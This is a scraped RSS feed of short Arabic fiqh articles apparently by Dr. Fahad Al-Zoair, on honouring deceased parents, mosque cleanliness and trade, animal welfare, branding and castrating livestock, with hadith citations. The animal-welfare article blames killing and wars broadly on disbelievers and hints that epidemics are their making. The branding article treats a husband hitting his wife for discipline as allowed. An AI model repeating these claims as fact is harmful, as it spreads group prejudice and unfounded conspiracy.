ظهرت المقالة بر الوالدين في حياتهما أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>
بر الوالدين بعد وفاتهما https://drfahadalzoair.com/%d8%a8%d8%b1-%d8%a7%d9%84%d9%88%d8%a7%d9%84%d8%af%d9%8a%d9%86-%d8%a8%d8%b9%d8%af-%d9%88%d9%81%d8%a7%d8%aa%d9%87%d9%85%d8%a7/ Mon, 02 Oct 2023 18:47:59 +0000 https://drfahadalzoair.com/?p=28084 بر الوالدين بعد وفاتهما   كما أن بر الوالدين لا ينتهي بموتهما بل يستمر، وقد سُئل صلى الله عليه وسلم عن ذلك، «هل بقِيَ من برِّ أبويَّ شيءٌ أَبرُّهما به بعد وفاتِهما؟ فقال: نعم، الصلاةُ عليهما -ويدخل في ذلك الصلاة عليهما بعد الموت، صلاة الجنازة- والاستغفارُ لهما -نقول: الصلاة، يدخل فيها الصلاة على الميت والدعاء؛ فإن الصلاة دعاء، وكذلك الاستغفار …

بر الوالدين بعد وفاتهما قراءة المزيد »

ظهرت المقالة بر الوالدين بعد وفاتهما أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>

بر الوالدين بعد وفاتهما

كما أن بر الوالدين لا ينتهي بموتهما بل يستمر، وقد سُئل صلى الله عليه وسلم عن ذلك، «هل بقِيَ من برِّ أبويَّ شيءٌ أَبرُّهما به بعد وفاتِهما؟ فقال: نعم، الصلاةُ عليهما -ويدخل في ذلك الصلاة عليهما بعد الموت، صلاة الجنازة- والاستغفارُ لهما -نقول: الصلاة، يدخل فيها الصلاة على الميت والدعاء؛ فإن الصلاة دعاء، وكذلك الاستغفار لهما- وإنفاذُ عهدِهما من بعدهما -وذلك في تنفيذ الوصية سواءً كانت في المال أو في غيره- وصلةُ الرحمِ التي لا توصلُ إلا بهما -القرابة الذين من طرف الأبوين، الأعمام وأبناء العمومة، والأخوال والخالات، كل أولئك من قرابة الأبوين يصلهما- وإكرامُ صديقِهما -يعني إذا كانت صلة الرحم للأقارب والأرحام متأكدة فكذلك القرابة-»[1] أبصر ابن عمر رضي الله عنهما أعرابيًا وهو على حمارٍ في الطريق إلى مكة وكان على ابن عمر رضي الله عنهما عمامة، فنزل من الحمار ورفع العمامة وأعطاها هذا الأعرابي مع الحمار، فقيل له يا أبا عبدالرحمن: إن هؤلاء الأعراب يكفيهم اليسير، قال: إن أبا هذا كان صديقًا لعمر، إن أبا هذا الرجل كان صديقًا لأبي[2]، فلاحظ كيف وصل صديق أبيه، فمن باب أولى صلة قرابة أبيك المباشرين وأصحابه وأصدقاءه والسؤال عنهم والتحري والزيارة، كما أن من أهم ما يصل الأب والوالد والوالدة بعد موتهما الدعاء، فإن الميت إذا مات انقطع عمله إلا من ثلاث كما جاء عن النبي صلى الله عليه وسلم وذكر منهما ولدٌ صالح يدعو له[3]، وهذا من فضل الله وكرمه وجوده وإحسانه أن وسع الدائرة، ولو قال يصلي عنه أو يحج عنه أو يضحي عنه أو يبني عنه مسجدًا أو نحو ذلك لم يقدر عليه كل أحد، لكنه علقه على أمر يقدره كل أحد وهو الدعاء، فيُخلص الولد لوالديه في الدعاء ولا ينساهما ولا يكون حظه منهما الدعاء عند الموت كما يحصل من المعزين بل يذكرهما في كل وقت وحين.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه أبو داود (5142) واللفظ له، وابن ماجه (3664)، وأحمد (16059)، والحديث قال عند المنذري في الترغيب والترهيب: إسناده صحيح أو حسن أو ما قاربهما، ولكن ضعفه الألباني في ضعيف أبي داود (5142).

[2] أخرجه مسلم (2552) عن عبدالله بن عمر رَضِيَ اللهُ عَنْهُمَا: «أنَّهُ كانَ إذَا خَرَجَ إلى مَكَّةَ، كانَ له حِمَارٌ يَتَرَوَّحُ عليه إذَا مَلَّ رُكُوبَ الرَّاحِلَةِ، وَعِمَامَةٌ يَشُدُّ بهَا رَأْسَهُ، فَبيْنَا هو يَوْمًا علَى ذلكَ الحِمَارِ، إذْ مَرَّ به أَعْرَابِيٌّ، فَقالَ: أَلَسْتَ ابْنَ فُلَانِ بنِ فُلَانٍ؟ قالَ: بَلَى، فأعْطَاهُ الحِمَارَ، وَقالَ: ارْكَبْ هذا، وَالْعِمَامَةَ، قالَ: اشْدُدْ بهَا رَأْسَكَ، فَقالَ له بَعْضُ أَصْحَابِهِ: غَفَرَ اللهُ لكَ! أَعْطَيْتَ هذا الأعْرَابِيَّ حِمَارًا كُنْتَ تَرَوَّحُ عليه، وَعِمَامَةً كُنْتَ تَشُدُّ بهَا رَأْسَكَ، فَقالَ: إنِّي سَمِعْتُ رَسُولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ يقولُإنَّ مِن أَبَرِّ البِرِّ صِلَةَ الرَّجُلِ أَهْلَ وُدِّ أَبِيهِ بَعْدَ أَنْ يُوَلِّيَ، وإنَّ أَبَاهُ كانَ صَدِيقًا لِعُمَرَ».

[3] أخرج مسلم (1631) الحديث بهذا المعنى عن أبي هريرة رَضِيَ اللهُ عَنْهُ أن رسول الله صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ قال: «إِذَا مَاتَ الإنْسَانُ انْقَطَعَ عنْه عَمَلُهُ إِلَّا مِن ثَلَاثَةٍ: إِلَّا مِن صَدَقَةٍ جَارِيَةٍ، أَوْ عِلْمٍ يُنْتَفَعُ بِهِ، أَوْ وَلَدٍ صَالِحٍ يَدْعُو له».

ظهرت المقالة بر الوالدين بعد وفاتهما أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>
عناية الشريعة بالمساجد https://drfahadalzoair.com/%d8%b9%d9%86%d8%a7%d9%8a%d8%a9-%d8%a7%d9%84%d8%b4%d8%b1%d9%8a%d8%b9%d8%a9-%d8%a8%d8%a7%d9%84%d9%85%d8%b3%d8%a7%d8%ac%d8%af/ Mon, 02 Oct 2023 18:33:44 +0000 https://drfahadalzoair.com/?p=28083 عناية الشريعة بالمساجد   نهى الشارع عن إزالة الأوساخ في المساجد، فلا يقلم المسلم أظفاره ولا يقص شاربه ولا ينتف إبطه ولا يحول المساجد إلى دورٍ للصناعة والتجارة فيخيط أو يخرز أو يحلج القطن أو يتاجر وما شاكل ذلك مما يُلحق به مما لا يمكن حصره إذا كثر، ثم بيّن أن ذلك لا يُكره إذا …

عناية الشريعة بالمساجد قراءة المزيد »

ظهرت المقالة عناية الشريعة بالمساجد أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>

عناية الشريعة بالمساجد

نهى الشارع عن إزالة الأوساخ في المساجد، فلا يقلم المسلم أظفاره ولا يقص شاربه ولا ينتف إبطه ولا يحول المساجد إلى دورٍ للصناعة والتجارة فيخيط أو يخرز أو يحلج القطن أو يتاجر وما شاكل ذلك مما يُلحق به مما لا يمكن حصره إذا كثر، ثم بيّن أن ذلك لا يُكره إذا كان قليلًا مثل أن يرقع ثوبه أو يخصف نعله أو يشرك نعله إذا انقطع شسعه، فدل هذا الفصل بطوله وتفصيله على عظم عناية هذه الشريعة بصيانة المساجد عما لا ينبغي وعدم تقذيرها أو وضع الأصوات المزعجة كأن تكون محلًا للبيع والشراء، واستثناء ما كان يسيرًا من ذلك كرقع ثوبٍ وخصف نعلٍ أو إصلاحه، وهذا مما اتفق عليه أهل العلم وهو من رفعة المساجد التي أمر الله أن تُرفع ويُذكر فيها اسمه، وقد أمر صلى الله عليه وسلم ببناء المساجد في الدور وأن تُنظف وتطيب، والمراد بالدور هنا الأحياء والبيوتات، فتُبنى المساجد بينها وتُنظف وتُطيب، ونهى صلى الله عليه وسلم عن البصق فيها وأخبر أن النخاعة في المسجد ذنب وخطيئة كفارتها دفنها[1] كما في الحديث، ورأى صلى الله عليه وسلم في قبلة المسجد نخاعة فحكها، وقال: أيسر أحدكم أن يتنخع في وجهه[2]، إذا كان لا يسرك ذلك ولا تقبله بل لو كان ريقًا وتفالًا خفيفًا لا يقبل أحد أن يُتفل في وجهه أو يُبصق في وجهه فكيف في بيوت الله التي أمر أن تُرفع وتُصان، والمساجد بُنيت للصلاة فيها والاعتكاف وقراءة القرآن وتعليم القرآن وتعليم العلوم النافعة فتُصان عما يُنقصها ويحرم أهل الإيمان من الانتفاع فيها ومن ذلك رفع الصوت؛ فإن رفع الأصوات في المساجد خطيئة، وكذلك مزاولة التجارة والصناعات والبيع والشراء، وجاء الإرشاد بالبصاق إذا احتاجه المسلم وهو في المسجد في الثوب أو المنديل إلا إذا كان المسجد من الحصباء أو التراب فإن السنة أن يتفل عن يساره إذا كان يساره خاليًا ويدفن ذلك، والأولى عدم ذلك، الأولى أن يبصق في طرف ثوبه أو في منديل ونحوه، وأما المساجد المفروشة اليوم فإنه يحرُم أن يبصق فيها لا أمامه ولا عن يمينه ولا عن شماله.

وفي الصحيح قصة المرأة أو الرجل الذي كان يقم المسجد فتُوفي ففقده النبي صلى الله عليه وسلم فسأل عنه وذهب وصلى على قبره، وهذا يدل على عِظم شأن أولئك الذين يقومون على المساجد في نظافتها وصيانتها وأن هذه من القرب ومن العبادات المتعدي نفعها وأن أولئك يُفقدون، ولهذا فقدها النبي صلى الله عليه وسلم فلما سأل، قالوا: إنها ماتت فكرهنا أن نوقظك يا رسول الله، قال: دلوني على قبرها، ألا آذنتموني ثم ذهب وصلى على قبرها[3]، فدل على عِظم شأن من يقوم على بيوت الله أذانًا، إمامةً، نظافةً، حراسةً، صيانةً.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري (415)، ومسلم (552)، والترمذي (572)، وأبو داود (476)، وأحمد(13450)  بلفظ: «النُّخاعةُ في المَسجِدِ خَطيئةٌ، وكَفَّارتُها دَفْنُها».

[2] أخرجه أبو داود (480) عن أبي سعيد الخدري رَضِيَ اللهُ عَنْهُ: «أنَّ النَّبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ كان يحِبُّ العراجِينَ ولا يزال في يدِه منها، فدخل المسجدَ فرأى نخامةً في قبلةِ المسجدِ فحَكَّها، ثمَّ أقبل على النَّاس مُغضَبًا، فقال: أيسُرُّ أحدَكم أن يُبصَقَ في وَجْهِه؟!»، والحديث صححه الألباني في صحيح أبي داود (480).

[3] أخرجه البخاري (460) عن أبي هريرة رَضِيَ اللهُ عَنْهُ: «أنَّ رَجُلًا أسْوَدَ أوِ امْرَأَةً سَوْدَاءَ كانَ يَقُمُّ المَسْجِدَ فَمَاتَ، فَسَأَلَ النبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ عنْه، فَقالوا: مَاتَ، قالَ: أفلا كُنْتُمْ آذَنْتُمُونِي به دُلُّونِي علَى قَبْرِهِ – أوْ قالَ قَبْرِهَا – فأتَى قَبْرَهَا فَصَلَّى عَلَيْهَا».

ظهرت المقالة عناية الشريعة بالمساجد أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>
عناية الإسلام بالحيوان https://drfahadalzoair.com/%d8%b9%d9%86%d8%a7%d9%8a%d8%a9-%d8%a7%d9%84%d8%a5%d8%b3%d9%84%d8%a7%d9%85-%d8%a8%d8%a7%d9%84%d8%ad%d9%8a%d9%88%d8%a7%d9%86/ Mon, 02 Oct 2023 18:29:01 +0000 https://drfahadalzoair.com/?p=28074 عناية الإسلام بالحيوان   هذه الشريعة الكاملة التي أنزلها رب السماوات والأراضين الذي خلق النفس وهو أعلم بما يُصلحها بينت لنا كل شيء حتى هذه الحيوانات والحشرات، ما الذي يجوز قتله مطلقًا من الفواسق اللاتي يُقتلن في الحل والحرم، وفي الحيوانات التي لا تُقتل كالنملة والنحلة والصُـرد والضفدع كما تقدم إلا ما آذى من حشرات …

عناية الإسلام بالحيوان قراءة المزيد »

ظهرت المقالة عناية الإسلام بالحيوان أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>

عناية الإسلام بالحيوان

هذه الشريعة الكاملة التي أنزلها رب السماوات والأراضين الذي خلق النفس وهو أعلم بما يُصلحها بينت لنا كل شيء حتى هذه الحيوانات والحشرات، ما الذي يجوز قتله مطلقًا من الفواسق اللاتي يُقتلن في الحل والحرم، وفي الحيوانات التي لا تُقتل كالنملة والنحلة والصُـرد والضفدع كما تقدم إلا ما آذى من حشرات ونحوه، وبينت لنا كيف نقتل البهيمة أو نذبحها وأننا نسلك مسلك الإحسان «إنَّ اللهَ كتبَ الإحسانَ على كلِّ شيءٍ فإذا قتلتُم فأحسِنوا القِتلةَ وإذا ذبحتُم فأحسِنوا الذِّبحةَ وليُحدَّ أحدُكم شفرتَهُ وليُرِح ذبيحتَه»[1] حتى في حال الذبح والنحر أمرنا بالإحسان في حد الشفرة وفي إراحة الذبيحة، ونُهينا أن نذبح الشاة أو البهيمة أمام أختها، كل ذلك إحسان وكل ذلك مما جاءت به الشريعة، ولهذا نقول: هذه الشريعة الربانية سبقت جميع الدساتير والقوانين التي وضعها الناس اليوم وأصبحوا يتغنون بها وواقعهم مخالف للحقيقة، جمعيات تُنشأ لحقوق الحيوان ورعاية الحيوان والاهتمام بالحيوان في الوقت نفسه يُذبح الإنسان ويُهدر دمه ويُقتل قتلًا عظيمًا في حوادث بشعة من صنع الآدميين، ونعني بالآدميين هنا الكفار فهم أهل الكفر وهم أهل الضلال وهم الذين يجرأون ويتجرأون على قتل البشرية والإنسانية سواءً بهذه الحروب التي يصنعون أسلحتها المدمرة ويفتعلونها أو حتى بهذه الأوبئة التي يُقال إنها من صنعهم، وعلى كلٍ نقول: هؤلاء الذين يزعمون زورًا وبهتانًا أنهم رُحماء بالحيوان، نقول: هلّا رحمتم الإنسان! الذي هو أعظم عند الله من كل شيء، وقتله أعظم الذنوب وأخطرها عند الله، وزوال الدنيا بأسرها أهون عند الله من إراقة دمٍ مسلم، والكعبة عند الله أهون وأيسر من دم المسلم، ومع ذلك كم يُذبح من أهل الإسلام اليوم في مشارق الأرض ومغاربها من أدعياء العدالة والحرية وأدعياء الرفق بالحيوان، نقول: سبحان الله، هذا الدين الخاتم هو الذي دعى إلى الرفق بالحيوان وقبله الإنسان، وقد مر بنا وسمعنا أحاديث عظيمة في الجناية العُظمى، في أن يُدخل النار أحد بسبب حبس بهيمة «دَخَلَتِ امرأةٌ النارَ في هِرَّةٍ حَبَسَتْها ، فلا هي أَطْعَمَتْها ، ولا هي تَرَكَتْها تأكلُ من خَشَاشِ الأرضِ»[2]، أدخلها الله رب العالمين العدل الكريم البر الرحيم، أدخلها النار لأنها جنت على هذه البهيمة فحبستها لا أطعمتها ولا تركتها تأكل من خشاش الأرض، وبغيٌ زانية غفر الله وادخلها الجنة بسبب أنها سقت كلبًا، شربت في يومٍ شديد الحر، في شدة حر، فلما صعدت وجدت كلبًا يلهث من العطش فنزعت موقها وجعلت فيه شيئًا من الماء فأسقته فغفر الله لها[3]، هذا هو الدين العظيم الذي يجمع ولا يُفرق والذي يُراعي الإنسان أعظم موجودات هذا الكون كما يهتم بهذا الحيوان، وأما من يدعي زورًا وبهتانًا أنه يرعى الحيوان ويؤسس جمعيات لرعاية الحيوان ويتشدق بهذا في الوقت الذي يذبح فيه الإنسان فلا شك أن هذا هُراء وكذبٌ وافتراء وضحكٌ على الذقون.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم (1955)، وأبو داود (2815)، والترمذي (1409)، وابن ماجه (3170).

[2] أخرجه البخاري (3318)، ومسلم (2242) بنحوه.

[3] أخرجه مسلم (2245) بهذا المعنى عن أبي هريرة رَضِيَ اللهُ عَنْهُ بلفظ: «بيْنَما كَلْبٌ يُطِيفُ برَكِيَّةٍ قدْ كادَ يَقْتُلُهُ العَطَشُ، إذْ رَأَتْهُ بَغِيٌّ مِن بَغايا بَنِي إسْرائِيلَ فَنَزَعَتْ مُوقَها، فاسْتَقَتْ له به، فَسَقَتْهُ إيَّاهُ، فَغُفِرَ لها بهِ».

ظهرت المقالة عناية الإسلام بالحيوان أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>
حكم كي البهيمة للوسم https://drfahadalzoair.com/%d8%ad%d9%83%d9%85-%d9%83%d9%8a-%d8%a7%d9%84%d8%a8%d9%87%d9%8a%d9%85%d8%a9-%d9%84%d9%84%d9%88%d8%b3%d9%85/ Mon, 02 Oct 2023 18:10:14 +0000 https://drfahadalzoair.com/?p=28056 حكم كي البهيمة للوسم   ولا يجوز للمسلم أن يكوي البهيمة بالنار للوسم، الوسم هو أثر الكي، والجمع: وسوم وسمة، يسمه وسمًا وسمةً فاتسم، هذا معنى الوسم وهو ما وُسم به الحيوان من ضروب الصور يعني يُجعل شعار أو وسم يعرفه أهله به وهذا يكثر في الإبل أكثر، والكي بالنار للوسم قد يكون في الوجه …

حكم كي البهيمة للوسم قراءة المزيد »

ظهرت المقالة حكم كي البهيمة للوسم أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>

حكم كي البهيمة للوسم

ولا يجوز للمسلم أن يكوي البهيمة بالنار للوسم، الوسم هو أثر الكي، والجمع: وسوم وسمة، يسمه وسمًا وسمةً فاتسم، هذا معنى الوسم وهو ما وُسم به الحيوان من ضروب الصور يعني يُجعل شعار أو وسم يعرفه أهله به وهذا يكثر في الإبل أكثر، والكي بالنار للوسم قد يكون في الوجه وقد يكون في سائر البدن، أما الكي بالنار في وجه البهيمة فحرام بالإجماع ولا تُحله ضرورة ولا حاجة، «وقد رَأى النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ حِمارًا قد وُسِمَ في وَجهِه، فقال: لعَنَ اللهُ مَن فعَلَ هذا»[1] [الحديث رواه الإمام مسلم]، وهذا اللعن لا يكون إلا على فعل كبيرة وتعدي خطير على بهيمة الأنعام لأن لم يجد إلا وجهها فيسمها فيه، إذا كان قد نُهي عن الضرب في الوجه فمن باب أولى الكي، وفي حديث جابر بن عبدالله رضي الله عنهما«نَهَى رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ، عَنِ الضَّرْبِ في الوَجْهِ، وَعَنِ الوَسْمِ في الوَجْهِ»[2] [رواه الإمام مسلم]، وهذا عامٌ يشمل الآدميين والبهائم على حد سواء، فلا يصح للمسلم أن يضرب وجهًا حتى لو أُذن له بالضرب كالأب في تربية ابنه والمعلم في تربية طلابه والزوج في تأديب زوجته، لا يحل له أن يضرب الوجه.

أما الكي للوسم في غير الوجه، فمنهم من أجازه مطلقًا يعني في جميع بهيمة الأنعام، ومنهم من خصه بإبل الصدقة أو إبل الجزية، والظاهر والعلم عند الله عمومه للحاجة، ويكون في الإبل في الفخذ لأنه أقل إيلامًا، بالنسبة للإبل والبقر فإن الفخذ غليظ واللحم فيه كثير فيكون الكي فيه أيسر وأقل إيلامًا، وفي الحديث: «لا تكويه إلا في أقـصى جاعرتيه»[3]، ويمكن أن يُستدل بذلك على جواز خصي الحيوان للمصلحة يعني إذا كان الكي لمصلحة معرفته ووسمه فمن باب أولى أن يكون أيضًا الخصي لحاجة الآدميين للانتفاع بلحمه وسمنه، وأما الغنم فيكون الوسم في أطراف الآذان ولا يكون في الفخذ لكثرة الشعر ورقة اللحم وقد يتلفها الكي في الفخذ.

قوله رحمه الله في آخر الفصل: (وَتَجُوْزُ للْمُدَاوَاةُ حَسْبَ مَا أَجَزْنَا فِي إِحْدَى الرِّوَايَتَيْنِ) أي وتجوز المداواة بالكي للحيوان حسب ما ورد عن الإمام أحمد رحمه الله في الكي للآدمي للمداواة، وهذا قياسٌ بديع، يقول: إذا كان الشارع قد أجاز الكي للآدمي للحاجة وهو آخر الطب، والنبي صلى الله عليه وسلم أخبر أن فيه شفاء لكنه قال: أنهى أمتي عن الكي، فلا يُبدأ بالكي وإنما يُجعل آخر الدواء وآخر الطب وآخر العلاج، فكذلك إذا جاز في الآدمي فهو أيضًا في البهيمة من باب أولى، إذا مرضت واعتلت وقيل إن الكي نافع بإذن الله تعالى في علاجها فإنها تُكوى.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم (2117)، وأبو داود (2564) باختلاف يسير، والترمذي (1710) مختصرًا، وأحمد (14164) واللفظ له، وجود إسناده ابن حجر في فتح الباري (13/28) وأيضًا صحح إسناده شعيب الأرناؤوط على شرط الشيخين في تخريج المسند (14164).

[2] أخرجه مسلم (2116).

[3] أخرجه مسلم (2118) عن عبدالله بن عباس رَضِيَ اللهُ عَنْهُمَا قال: «رَأَى رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ حِمَارًا مَوْسُومَ الوَجْهِ، فأنْكَرَ ذلكَ. قالَ: فَوَاللهِ لا أَسِمُهُ إلَّا في أَقْصَى شَيءٍ مِنَ الوَجْهِ، فأمَرَ بحِمَارٍ له، فَكُوِيَ في جَاعِرَتَيْهِ، فَهو أَوَّلُ مَن كَوَى الجَاعِرَتَيْنِ».

ظهرت المقالة حكم كي البهيمة للوسم أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>
حكم البيع والشراء في المسجد https://drfahadalzoair.com/%d8%ad%d9%83%d9%85-%d8%a7%d9%84%d8%a8%d9%8a%d8%b9-%d9%88%d8%a7%d9%84%d8%b4%d8%b1%d8%a7%d8%a1-%d9%81%d9%8a-%d8%a7%d9%84%d9%85%d8%b3%d8%ac%d8%af/ Mon, 02 Oct 2023 18:09:11 +0000 https://drfahadalzoair.com/?p=28055 حكم البيع والشراء في المسجد   كذلك البيع والشراء، إذا سُمع من يبيع أو يشتري فإنه يُقال له: لا أربح الله تجارتك كما جاء في الحديث، فإن المساجد لم تبنى لذلك، لم تُبنى لتغتنم قدوم المصلين فتعرض لهم بضاعتك أو تسوقها أو تشتري وتماكس وتبيع، وكان الفاروق عمر رضي الله عنه قد وضع مكانًا خارج …

حكم البيع والشراء في المسجد قراءة المزيد »

ظهرت المقالة حكم البيع والشراء في المسجد أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>

حكم البيع والشراء في المسجد

كذلك البيع والشراء، إذا سُمع من يبيع أو يشتري فإنه يُقال له: لا أربح الله تجارتك كما جاء في الحديث، فإن المساجد لم تبنى لذلك، لم تُبنى لتغتنم قدوم المصلين فتعرض لهم بضاعتك أو تسوقها أو تشتري وتماكس وتبيع، وكان الفاروق عمر رضي الله عنه قد وضع مكانًا خارج المسجد لمن أراد أن يتكلم أو يلهو، يقول له: اخرج خارج المسجد، ومن باع في المسجد أو اشترى فبيعه محرم على الصحيح، وهل ينعقد أو لا ينعقد؟ على قولين: من أهل العلم من يرى أنه لا ينعقد، يعني البيع فاسد وآثم، ومنهم من يقول: يصح البيع مع الإثم، أما البيع للضرورة وبعضهم قال للحاجة، فلا بأس وينبغي تقييده بالضرورة أو الحاجة الماسة، قالوا: مثل من احتاج إلى سترة لعورته وهو في المسجد، فلم يجد واشترى ودفع مالًا وأخذ سترة ليستر بها عورته، قالوا: أو معتكف لم يجد من يحضر له طعامًا ونحوه والبائع خارج المسجد فلعل هذا مما يستثنى للحاجة وإلا فالأصل منعه، والأصل أن المعتكف أباح له الشارع إن لم يُحضر له الطعام أن يخرج فيشتري طعامًا أو يذهب لبيته ويتسحر إن كان في رمضان أو يُفطر لكن الأفضل والأكمل والأولى أن يُحضر له الطعام فإن لم يكن ثمة من يُحضر له الطعام وبيته بعيد والمطاعم بعيدة ولو خرج فقد المعتَكف وتكرر خروجه في اليوم ما لا يقل عن مرتين، فنقول: لا حرج في الحاجة الماسة حينئذٍ أن يتصل بمن يُحضر له طعامًا ولو من أصحاب المطاعم ونحوها لا سيما أن البائع غير داخل في المسجد، هذا أمر، كما أنه لا يتحقق في هذه الصورة إشغال للناس، ولا بيعٌ وشراءٌ ومماكسة، كما أنه لم يتخذ المسجد للبيع والشراء ولكن هذا أمر يسير عارض، وقد جاء عن الإمام مالك وأحمد رحمهما الله في رواية تجويز هذا للمعتكف لئلا يتكرر خروجه ولما في هذا من جمع قلبه، فنقول: مثل هذا يستثنى ويكون على قدره، واليوم الغالب على أهل الاعتكاف أنهم يرتبون أمورهم من قِبل أهلهم أو من قِبل بعض المحسنين ممن يخدمهم فيجهز لهم كل ما يحتاجون من مأكل ومشرب وملبس ولا يحوجهم لا للاتصال بالمطاعم والبقالات والمحلات التموينية ونحوها لكن إذا دعت الحاجة فاتصل فلا حرج.

 

ظهرت المقالة حكم البيع والشراء في المسجد أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>
حكم إخصاء الحيوانات https://drfahadalzoair.com/%d8%ad%d9%83%d9%85-%d8%a5%d8%ae%d8%b5%d8%a7%d8%a1-%d8%a7%d9%84%d8%ad%d9%8a%d9%88%d8%a7%d9%86%d8%a7%d8%aa/ Mon, 02 Oct 2023 18:05:50 +0000 https://drfahadalzoair.com/?p=28046 حكم إخصاء الحيوانات   الخصي: هو سل الخصيتين من بهيمة الأنعام وأكثر ما يكون في الغنم، تقول: خصيته أخصيه خصاءً بالكسر والمد: سللت خصيتيه فهو خـصيٌ فعيلٌ أي مفعول، وهذا الخصاء له فائدة في بهيمة الأنعام حيث يحسن لحمه ويكمل ويكبر ويسمن، ولهذا يعمد ملاك بعض الحيوانات من بهيمة الأنعام إلى خصي بعض الذكور حتى …

حكم إخصاء الحيوانات قراءة المزيد »

ظهرت المقالة حكم إخصاء الحيوانات أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>

حكم إخصاء الحيوانات

الخصي: هو سل الخصيتين من بهيمة الأنعام وأكثر ما يكون في الغنم، تقول: خصيته أخصيه خصاءً بالكسر والمد: سللت خصيتيه فهو خـصيٌ فعيلٌ أي مفعول، وهذا الخصاء له فائدة في بهيمة الأنعام حيث يحسن لحمه ويكمل ويكبر ويسمن، ولهذا يعمد ملاك بعض الحيوانات من بهيمة الأنعام إلى خصي بعض الذكور حتى لا ينزو على الإناث وحتى يسمن ويحسن لحمه ويكبر، قال الإمام أحمد: لا يُعجبني للرجل أن يخـصي شيئًا، وهذا من ورعه رحمه الله في اختيار العبارات في التعبير عن مراده سواءً أراد التحريم أو الكراهة، لا يُعجبني للرجل أن يخصي شيئًا، قال ابن مفلح: وإنما كره الإمام ذلك؛ للنهي الوارد عن إيلام الحيوان، والقول الثاني: أن خصي الحيوان مباحٌ لما فيه من إصلاح اللحم والسمن، فإذا كان ثمة مصلحة ومنفعة فلا بأس وإلا فلا، الذين أجازوه احتجوا بما ثبت في الصحيحين أنه صلى الله عليه وسلم «ضحَّى بِكَبشينِ مَوجوءَينِ»[1] أي خصيين، والذين منعوه استدلوا بالنهي عن خصاء البهائم كما رواه البزار وجاء من حديث ابن عمر عن الإمام أحمد رحمه الله ، قالوا: ولأن فيه شيءٌ من التعذيب والإيلام للحيوان، وأجابوا عن حديث تضحيته صلى الله عليه وسلم بِكَبشينِ مَوجوءَينِ، قالوا: هذا لا يدل على الجواز وإنما هو خبر عن شيء واقع، يعني أنه صلى الله عليه وسلم ضحى بهذين الكبشين الموجوءين لأنها سمينة تتحقق فيها المنفعة والمصلحة الكبرى للناس للأضحية وذلك يُسن فيها التسمين، قالوا: لكن هذا لا يدل على مشروعية الخصاء ابتداءً، وقالوا: إن هذا مثل ركوبه صلى الله عليه وسلم للبغل لما أهدي إليه مع نهيه عن إنزاء الخيل على الحُمر، لما سُئل عن ذلك، قال: «إنَّما يفعَلُ ذلك الذين لا يَعلَمونَ»[2] [الحديث حديثٌ حسن] أي لما رأي الصحابة ركوب النبي صلى الله عليه وسلم للبغل، قالوا: أنفعل ذلك يا رسول الله أي ننزي الخيل على الحُمر فتنجب بغلًا، قال: «إنَّما يفعَلُ ذلك الذين لا يَعلَمونَ» فلم يقرهم على ذلك، ومع ذلك ركب البغلة، وقالوا: إن هذا مثل تضحيته صلى الله عليه وسلم بكبشٍ خصيٍ، قالوا: فوجود الشيء إذا وقع لا يدل على إقرار الفعل ابتداءً، والراجح والعلم عند الله تعالى هنا التوسط، وهو الجواز إذا كانت ثمة مصلحة لكن ينبغي أن يُفعل بالحيوان حال صغره كالختان للآدمي، يحسن تقديمه في الصغر؛ لأنه قل إيلامًا ويكبر ولا يشعر، كما يُقال: إن السنة في ختان الصبي أن يكون في صغره ويوم سابعه أو قبل ذلك، فكذلك من أراد أن يخصي ذكرًا من بهيمة الأنعام فليبادر به حال الصغر.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] صححه الألباني في إرواء الغليل (1147).

[2] أخرجه أبو داود (2565)، والنسائي (3580)، وأحمد (785)، والحديث صحح إسناده النووي في المجموع (6/178)، وأيضًا صحح إسناده أحمد شاكر في تخريج المسند (1359).

ظهرت المقالة حكم إخصاء الحيوانات أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>